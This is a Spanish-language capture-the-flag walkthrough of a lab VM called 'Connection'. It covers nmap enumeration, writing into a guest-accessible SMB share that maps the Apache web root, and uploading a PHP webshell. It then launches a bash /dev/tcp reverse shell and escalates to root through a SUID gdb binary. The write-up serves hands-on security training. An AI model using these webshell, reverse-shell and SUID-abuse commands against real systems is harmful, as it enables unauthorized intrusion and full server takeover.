Enumeración de servicios
Comenzamos con un escaneo general y luego uno específico de puertos:
nmap -sC -sV -p22,80,139,445 -oN 02-targeted 192.168.1.26
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-16 20:02 -03
Nmap scan report for 192.168.1.26
Host is up (0.00044s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 b7:e6:01:b5:f9:06:a1:ea:40:04:29:44:f4:df:22:a1 (RSA)
| 256 fb:16:94:df:93:89:c7:56:85:84:22:9e:a0:be:7c:95 (ECDSA)
|_ 256 45:2e:fb:87:04:eb:d1:8b:92:6f:6a:ea:5a:a2:a1:1c (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
MAC Address: 08:00:27:80:FC:21 (Oracle VirtualBox virtual NIC)
Service Info: Host: CONNECTION; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h19m59s, deviation: 2h18m33s, median: 0s
| smb2-time:
| date: 2023-10-16T23:02:27
|_ start_date: N/A
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.9.5-Debian)
| Computer name: connection
| NetBIOS computer name: CONNECTION\x00
| Domain name: \x00
| FQDN: connection
|_ System time: 2023-10-16T19:02:27-04:00
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: CONNECTION, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.07 secondsEnumeración SMB
La enumeración web con dirb y gobuster no aporta nada relevante, y el sitio solo muestra la página por defecto de Apache. El vector interesante es SMB (Samba), con varias configuraciones inseguras. Comprobamos los recursos compartidos con smbmap:
smbmap -H 192.168.1.26
[+] IP: 192.168.1.26:445 Name: 192.168.1.26 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
share READ ONLY
print$ NO ACCESS Printer Drivers
IPC$ NO ACCESS IPC Service (Private Share for uploading files)Existe un recurso share, al que nos conectamos usando guest como contraseña:
smbclient //192.168.1.26/shareDentro están los archivos del sitio web. El recurso permite una variante de Unrestricted File Upload porque podemos escribir una webshell directamente en el árbol publicado. Primero comprobamos el permiso con un archivo inofensivo:
put test.txtLa subida tiene éxito aunque smbmap hubiera estimado READ ONLY. La operación real es la evidencia autoritativa. Como los archivos coinciden con el contenido de Apache, cualquier PHP colocado aquí queda accesible desde HTTP.
Acceso inicial mediante una webshell
Como el recurso mapea el directorio web, subimos un script PHP que ejecuta comandos:
<?php
system($_GET["cmd"]);
?>Lo invocamos a través del navegador para confirmar la ejecución:
http://192.168.1.26/road_to_reverse.php?cmd=whoamiwhoami es una prueba controlada de RCE. Sólo después de confirmar que Apache interpreta el archivo y que cmd llega a system() sustituimos la orden por una reverse shell.
Ponemos un listener y lanzamos la reverse shell:
sudo nc -nvlp 1234http://192.168.1.26/road_to_reverse.php?cmd=bash -c "bash -i >& /dev/tcp/192.168.1.10/1234 0>&1"Una vez establecida la conexión, navegamos a home/connection y obtenemos la primera flag.
Escalada de privilegios
Para escalar privilegios, sudo -l no ofrece ninguna vía, así que buscamos binarios SUID:
find / -perm -4000 2>/dev/nullConsultando GTFOBins, el binario gdb permite realizar SUID Binary Abuse para obtener una shell de root preservando privilegios.
GDB permite ejecutar Python embebido. os.execl() reemplaza el depurador por /bin/sh, y -p evita que la shell descarte el UID efectivo heredado del binario SUID.
El comando utilizado es:
./usr/bin/gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quitLas notas registran que el comando produjo acceso como root y permitió recuperar la flag final, aunque no conservaron la salida de identidad de esa shell.